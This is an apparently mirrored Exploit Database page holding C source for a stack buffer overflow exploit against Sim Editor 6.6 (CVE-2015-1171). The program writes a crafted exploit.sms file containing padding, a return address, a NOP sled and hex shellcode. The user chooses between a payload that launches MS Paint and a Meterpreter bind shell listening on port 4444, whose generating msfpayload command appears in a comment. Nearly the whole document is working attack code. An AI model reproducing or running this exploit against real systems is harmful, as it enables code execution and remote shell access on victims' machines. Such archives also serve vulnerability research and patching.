Sim Editor 6.6 – Local Stack Buffer Overflow

• Exploit Database
• 39 阅读

• 作者： Osanda Malith Jayathissa
  日期： 2015-01-16
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/35821/

• #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  
  #define SIZE 65536
  
  /*
   * Title: Sim Editor v6.6 Stack Based Buffer Overflow
   * Version: 6.6
   * Tested on: Windows XP sp2 en, Windows 8 64-bit
   * Date: 16-01-2015
   * Author: Osanda Malith Jayathissa
   * E-Mail: osanda[cat]unseen.is
   * Website: OsandaMalith.wordpress.com
   * CVE: CVE-2015-1171
   */
  
  const char shell1[] = "ba516a43ddd9e9d97424f45e33c9b1" 
  		"3231561503561583eefce2a496ab54" 
  		"46672c07cf821d15abc70ca9b88abc"
  		"42ec3e36263830ff8d1e7f00209ed3"
  		"c222622e17855be16ac49c1c849475"
  		"6a3709f22e8428d424b45251fa41e9"
  		"582bf96612d3712082e25632feadd3"
  		"81752c32d8761e7ab749ae77c98e09"
  		"68bce46915c73f13c142ddb382f505"
  		"454663ce4923e7884db224a36a3fcb"
  		"63fb7be8a7a7d891fe0d8eaee0ea6f"
  		"0b6b187b2d36777abf4d3e7cbf4d11"
  		"158ec6fe620f0dbb9d450fea3500da"
  		"ae5bb331ec6530b38d9128b688deee"
  		"2be14f9b4b566f8e262bff50d1a58b"
  		"92"; 
  
  /* msfpayload windows/meterpreter/bind_tcp EXITFUNC=thread LPORT=4444 R | msfencode -a x86 -t c */
  const char shell2[] = "bb3ff8edc8dbc6d97424f45f2bc9b1"
  		"4a83effc315f11035f11e2ca04054e"
  		"34f5d62fbd10e77dd9515ab2aa3457"
  		"39feacec4fd6c345e500ed56cb8ca1"
  		"954d70b8c9ad49731caf8e6eeffd47"
  		"e44212ecb85e99be2ce77e744cc6d0"
  		"0317c8d3c02341cc050f1b67fdfb9a"
  		"a1cc04ad8d823a0100db7ba6fbae77"
  		"d486a843a65c3d560016e5b2b0fb73"
  		"30beb0f01ea347d514dfccd8fa6996"
  		"fede324c9f479f23a098479b04d26a"
  		"c831b9e23d7342f3290431c1f6bedd"
  		"697e18198d55dcb570561c9fb6024c"
  		"b71f2b07479ffe87170f5167c8ef01"
  		"0f02e07e2f2d2a179e098670e2ad38"
  		"dd6b4b50cd3dc3cd2f1adc6a4f4970"
  		"22c7c69ef4e8d7b45644705f2d8645"
  		"7e3283ee17a5597e55575dab0f97cb"
  		"5786c06355ff272ca62a3ce532952b"
  		"0ad215ac5cb815c4389845f14635fa"
  		"aad2b5ab1f74dd5179b242a9ac42bf"
  		"7c89c0c90af908";
  
  const char *shells[] = { shell1, shell2 };
  const char *shell_names[] = { "MS Paint", "Bind Shell" };
  const char *shell_info[] = { "", "[*] Connect on port 4444\n" };
  const size_t SHELLS_COUNT = 2;
  
  int menu() {
  size_t shell_type = SHELLS_COUNT;
  puts("\b[?] Choose an Option: ");
  size_t i;
  for (i = 0; i < SHELLS_COUNT; i++) printf("%d. %s\n", i, shell_names[i]);
  scanf("%i", &shell_type);
  	return shell_type;
  }
  
  void banner() {
  static const char banner[] =
  " _____ ______ _ _ _ \n"
  "| __|_|_____ | __|_| |_| |_ ___ ___ \n"
  "|__ | | || __| . | |_| . |_|\n"
  "|_____|_|_|_|_||_____|___|_|_| |___|_|\n"
  "\n[~] Sim Editor v6.6 Stack Based Buffer Overflow\n"
  "[~] Author: Osanda Malith Jayathissa\n"
  "[~] E-Mail: osanda[cat]unseen.is\n"
  "[~] Website: OsandaMalith.wordpress.com\n\n";
  
  fwrite(banner, sizeof(char), sizeof(banner) , stdout);
  }
  
  void patternfill(char *dst, char *pattern, size_t count, size_t dst_size) {
  size_t pattern_len = strlen(pattern);
  count *= pattern_len;
  if (count > dst_size) count = dst_size;
  if (pattern_len > dst_size) pattern_len = dst_size;
  
  size_t i, pI;
  for (i = 0, pI = 0; i < count ; i++, pI++) {
  if (pI == pattern_len) pI = 0;
  dst[i] = pattern[pI];
  }
  }
  
  int main() {
  banner();
  int shell_type = menu();
  if (shell_type >= SHELLS_COUNT) {
  printf("[-] Enter a valid input\n");
  exit (1);
  }
  
  char *buff = (char*) calloc (SIZE, sizeof(char));
  char *nops = (char*) calloc (SIZE, sizeof(char));
  if (!buff || !nops) exit (1);
  
  patternfill(buff, "41", 405, SIZE);
  patternfill(nops, "90", 16, SIZE);
  
  char ret[] = "B3804200";
  const char* filename = "exploit.sms";
  
  FILE *outfile = fopen(filename, "w");
  if (!outfile) {
  printf("%s\n","Could not open file");
  exit (1);
  }
  
  fputs(buff, outfile);
  fputs(ret,outfile);
  fputs(nops, outfile);
  
  fputs(shells[shell_type],outfile);
  printf("%s", shell_info[shell_type]);
  fclose(outfile);
  free(buff);
  printf("[+] Successfully to written to: \"%s\"\n", filename); 
  return 0;
  }
  /*EOF*/